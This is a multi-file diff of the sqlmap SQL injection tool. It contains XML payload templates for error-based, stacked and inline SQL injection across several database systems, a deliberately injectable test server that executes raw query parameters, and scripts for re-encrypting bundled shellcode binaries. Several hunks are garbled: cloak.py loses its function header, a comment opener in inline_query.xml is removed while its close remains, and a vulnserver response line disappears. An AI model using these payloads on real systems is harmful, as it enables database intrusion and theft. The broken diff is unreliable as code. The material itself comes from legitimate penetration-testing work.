        <clause>3</clause>
        <where>1</where>
        <vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>IBM DB2</dbms>
        </details>
    </test>
    <!--
         TODO: if possible, add payload for SQLite, Microsoft Access
         and SAP MaxDB - no known techniques at this time
    -->
    <!-- End of error-based tests - ORDER BY, GROUP BY clause -->
    <!-- Error-based tests - stacking -->
    <test>
        <title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1-8</clause>
        <where>1</where>
        <vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
        <request>
            <payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
            <comment>--</comment>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
        </details>
    </test>
    <!-- End of error-based tests - stacking -->
 </root>
--- a/data/xml/payloads/inline_query.xml
+++ b/data/xml/payloads/inline_query.xml
@@ -3,19 +3,31 @@
 <root>
    <!-- Inline queries tests -->
    <test>
-        <title>MySQL inline queries</title>
+        <title>Generic inline queries</title>
        <stype>3</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1,2,3,8</clause>
        <where>3</where>
        <vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
        <request>
            <payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
    </test>
    <test>
        <title>MySQL inline queries</title>
        <stype>3</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3,8</clause>
        <where>3</where>
        <vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
        <request>
-            <!-- These work as good as ELT(), but are longer
+            <payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>
            <payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
            <payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
            -->
            <payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -28,7 +40,7 @@
    <test>
        <title>PostgreSQL inline queries</title>
        <stype>3</stype>
-        <level>1</level>
+        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3,8</clause>
        <where>3</where>
@@ -47,13 +59,13 @@
    <test>
        <title>Microsoft SQL Server/Sybase inline queries</title>
        <stype>3</stype>
-        <level>1</level>
+        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3,8</clause>
        <where>3</where>
        <vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
        <request>
-            <payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload>
+            <payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -61,7 +73,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -74,7 +85,8 @@
        <where>3</where>
        <vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
        <request>
-            <payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
+            <!-- NOTE: Vertica works too without the TO_NUMBER() -->
            <payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -93,7 +105,7 @@
        <where>3</where>
        <vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
        <request>
-            <payload>SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]'</payload>
+            <payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
--- a/data/xml/payloads/stacked_queries.xml
+++ b/data/xml/payloads/stacked_queries.xml
@@ -264,7 +264,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -286,7 +285,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -307,7 +305,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -328,7 +325,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
--- a/data/xml/payloads/time_blind.xml
+++ b/data/xml/payloads/time_blind.xml
@@ -588,7 +588,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -610,7 +609,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -631,7 +629,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -652,7 +649,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -674,7 +670,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -696,7 +691,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1638,7 +1632,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1936,7 +1929,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,14 +1,22 @@
 # Version 1.4 (2020-01-01)
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
 * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
 # Version 1.3 (2019-01-05)
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
 * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
 # Version 1.2 (2018-01-08)
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
 * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
 # Version 1.1 (2017-04-07)
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
 * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
 # Version 1.0 (2016-02-27)
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -112,6 +112,9 @@ Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
 Sherif El-Deeb, <archeldeeb(at)gmail.com>
 * for reporting a minor bug
 Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
 * for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
 Stefano Di Paola, <stefano.dipaola(at)wisec.it>
 * for suggesting good features
@@ -317,6 +320,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
 Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
 * for contributing a Portuguese translation of README.md
 Francesco Marano, <francesco.mrn24(at)gmail.com>
 * for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
 Ahmad Maulana, <matdhule(at)gmail.com>
 * for contributing a tamper script halfversionedmorekeywords.py
@@ -486,6 +492,9 @@ Marek Sarvas, <marek.sarvas(at)gmail.com>
 Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
 * for reporting a minor bug
 Henri Salo <henri(at)nerv.fi>
 * for a donation
 Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
 * for reporting a minor bug
--- a/doc/translations/README-fa-IR.md
+++ b/doc/translations/README-fa-IR.md
@@ -0,0 +1,84 @@
 # sqlmap ![](https://i.imgur.com/fe85aVR.png)
 [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
 <div dir=rtl>
 برنامه `sqlmap`، برنامه‌ی منبع باز هست که برای تست نفوذ پذیزی دربرابر حمله‌های احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری می‌کند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر می‌کند.
 عکس
 ----
 <div dir=ltr>
 ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
 <div dir=rtl>
 برای دیدن کردن از [مجموعه‌ی از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از ویکی دیدن کنید.
 نصب
 ----
 برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
 طرز استفاده
 ----
 برای گرفتن لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید:
 <div dir=ltr>
 ```
    python sqlmap.py -h
 ```
 <div dir=rtl>
 برای گرفتن لیست تمامی ارگومان‌های می‌توانید از دستور زیر استفاده کنید:
 <div dir=ltr>
 ```
    python sqlmap.py -hh
 ```
 <div dir=rtl>
 برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) می‌توانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه می‌شود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
 لینک‌ها
 ----
 * خانه: http://sqlmap.org
 * دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
 * کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
 * پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
 * راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
 * سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * تویتر: [@sqlmap](https://twitter.com/sqlmap)
 * رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
 * عکس‌ها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
--- a/doc/translations/README-fr-FR.md
+++ b/doc/translations/README-fr-FR.md
@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
    python sqlmap.py -hh
-Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
+Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
 Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
 Liens
--- a/doc/translations/README-pt-BR.md
+++ b/doc/translations/README-pt-BR.md
@@ -2,7 +2,7 @@
 [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
-sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
+sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
 Imagens
 ----
@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
 Instalação
 ----
-Você pode baixar o arquivo tar mais recente clicando [aqui]
+Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
 (https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
 De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
--- a/extra/init.py
+++ b/extra/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/beep/init.py
+++ b/extra/beep/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/beep/beep.py
+++ b/extra/beep/beep.py
@@ -3,7 +3,7 @@
 """
 beep.py - Make a beep sound
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/cloak/init.py
+++ b/extra/cloak/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/cloak/cloak.py
+++ b/extra/cloak/cloak.py
@@ -3,7 +3,7 @@
 """
 cloak.py - Simple file encryption/compression utility
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -19,28 +19,26 @@ from optparse import OptionParser
 if sys.version_info >= (3, 0):
    xrange = range
    ord = lambda _: _
-def hideAscii(data):
+KEY = b"MOZFqVjlk1CY436G"
    retVal = b""
    for i in xrange(len(data)):
        value = data[i] if isinstance(data[i], int) else ord(data[i])
        retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
-    return retVal
+def xor(message, key):
    return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
 def cloak(inputFile=None, data=None):
    if data is None:
        with open(inputFile, "rb") as f:
            data = f.read()
-    return hideAscii(zlib.compress(data))
+    return xor(zlib.compress(data), KEY)
 def decloak(inputFile=None, data=None):
    if data is None:
        with open(inputFile, "rb") as f:
            data = f.read()
    try:
-        data = zlib.decompress(hideAscii(data))
+        data = zlib.decompress(xor(data, KEY))
    except Exception as ex:
        print(ex)
        print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
@@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None):
 def main():
    usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
-    parser = OptionParser(usage=usage, version='0.1')
+    parser = OptionParser(usage=usage, version='0.2')
    try:
        parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
--- a/extra/dbgtool/init.py
+++ b/extra/dbgtool/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/dbgtool/dbgtool.py
+++ b/extra/dbgtool/dbgtool.py
@@ -3,7 +3,7 @@
 """
 dbgtool.py - Portable executable to ASCII debug script converter
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/icmpsh/icmpsh.exe_
+++ b/extra/icmpsh/icmpsh.exe_
--- a/extra/runcmd/runcmd.exe_
+++ b/extra/runcmd/runcmd.exe_
--- a/extra/shellcodeexec/linux/shellcodeexec.x32_
+++ b/extra/shellcodeexec/linux/shellcodeexec.x32_
--- a/extra/shellcodeexec/linux/shellcodeexec.x64_
+++ b/extra/shellcodeexec/linux/shellcodeexec.x64_
--- a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_
+++ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_
--- a/extra/shutils/blanks.sh
+++ b/extra/shutils/blanks.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Removes trailing spaces from blank lines inside project files
--- a/extra/shutils/drei.sh
+++ b/extra/shutils/drei.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Stress test against Python3
--- a/extra/shutils/duplicates.py
+++ b/extra/shutils/duplicates.py
@@ -1,6 +1,6 @@
 #!/usr/bin/env python
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Removes duplicate entries in wordlist like files
--- a/extra/shutils/junk.sh
+++ b/extra/shutils/junk.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
--- a/extra/shutils/modernize.sh
+++ b/extra/shutils/modernize.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # sudo pip install modernize
--- a/extra/shutils/pycodestyle.sh
+++ b/extra/shutils/pycodestyle.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
--- a/extra/shutils/pydiatra.sh
+++ b/extra/shutils/pydiatra.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Runs py2diatra on all python files (prerequisite: pip install pydiatra)
--- a/extra/shutils/pyflakes.sh
+++ b/extra/shutils/pyflakes.sh
@@ -1,7 +1,7 @@
 #!/bin/bash
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
-find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; | grep -v "redefines '_'"
+find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'"
--- a/extra/shutils/pypi.sh
+++ b/extra/shutils/pypi.sh
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -132,13 +132,13 @@ To get a list of basic options and switches use:
 ::
-    python sqlmap.py -h
+    sqlmap -h
 To get a list of all options and switches use:
 ::
-    python sqlmap.py -hh
+    sqlmap -hh
 You can find a sample run `here <https://asciinema.org/a/46601>`__. To
 get an overview of sqlmap capabilities, list of supported features and
--- a/extra/shutils/recloak.sh
+++ b/extra/shutils/recloak.sh
@@ -0,0 +1,16 @@
 #!/bin/bash
 # NOTE: this script is for dev usage after AV something something
 DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
 cd $DIR/../..
 for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
 cd $DIR/../cloak
 sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
 cd $DIR/../..
 for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
 git clean -f > /dev/null
--- a/extra/vulnserver/init.py
+++ b/extra/vulnserver/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/vulnserver/vulnserver.py
+++ b/extra/vulnserver/vulnserver.py
@@ -3,7 +3,7 @@
 """
 vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -16,8 +16,11 @@ import sys
 import threading
 import traceback
-if sys.version_info >= (3, 0):
+PY3 = sys.version_info >= (3, 0)
-    from http.client import FOUND
+UNICODE_ENCODING = "utf-8"
 DEBUG = False
 if PY3:
    from http.client import INTERNAL_SERVER_ERROR
    from http.client import NOT_FOUND
    from http.client import OK
@@ -29,7 +32,6 @@ if sys.version_info >= (3, 0):
 else:
    from BaseHTTPServer import BaseHTTPRequestHandler
    from BaseHTTPServer import HTTPServer
    from httplib import FOUND
    from httplib import INTERNAL_SERVER_ERROR
    from httplib import NOT_FOUND
    from httplib import OK
@@ -82,6 +84,7 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
        try:
            HTTPServer.finish_request(self, *args, **kwargs)
        except Exception:
            if DEBUG:
                traceback.print_exc()
 class ReqHandler(BaseHTTPRequestHandler):
@@ -96,15 +99,27 @@ class ReqHandler(BaseHTTPRequestHandler):
                self.send_response(INTERNAL_SERVER_ERROR)
                self.send_header("Connection", "close")
                self.end_headers()
-                self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode("utf8"))
+                self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
                return
        if hasattr(self, "data"):
            if self.data.startswith('{') and self.data.endswith('}'):
                params.update(json.loads(self.data))
            elif self.data.startswith('<') and self.data.endswith('>'):
                params.update(dict((_[0], _[1].replace("&apos;", "'").replace("&quot;", '"').replace("&lt;", '<').replace("&gt;", '>').replace("&amp;", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
            else:
                params.update(parse_qs(self.data))
        for name in self.headers:
            params[name.lower()] = self.headers[name]
        if "cookie" in params:
            for part in params["cookie"].split(';'):
                part = part.strip()
                if '=' in part:
                    name, value = part.split('=', 1)
                    params[name.strip()] = unquote_plus(value.strip())
        for key in params:
            if params[key] and isinstance(params[key], (tuple, list)):
                params[key] = params[key][-1]
@@ -112,35 +127,59 @@ class ReqHandler(BaseHTTPRequestHandler):
        self.url, self.params = path, params
        if self.url == '/':
-            if "id" not in params:
+
-                self.send_response(FOUND)
+            if not any(_ in self.params for _ in ("id", "query")):
                self.send_header("Connection", "close")
                self.send_header("Location", "/?id=1")
                self.end_headers()
            else:
                self.send_response(OK)
-                self.send_header("Content-type", "text/html")
+                self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
                self.send_header("Connection", "close")
                self.end_headers()
                self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
            else:
                code, output = OK, ""
                try:
                    if self.params.get("echo", ""):
                        output += "%s<br>" % self.params["echo"]
                    with _lock:
-                        _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params.get("id", ""))
+                        if "query" in self.params:
                            _cursor.execute(self.params["query"])
                        elif "id" in self.params:
                            _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
                        results = _cursor.fetchall()
-                    output = "<b>SQL results:</b>\n"
+                    output += "<b>SQL results:</b><br>\n"
                    if results:
                        output += "<table border=\"1\">\n"
                        for row in results:
                            output += "<tr>"
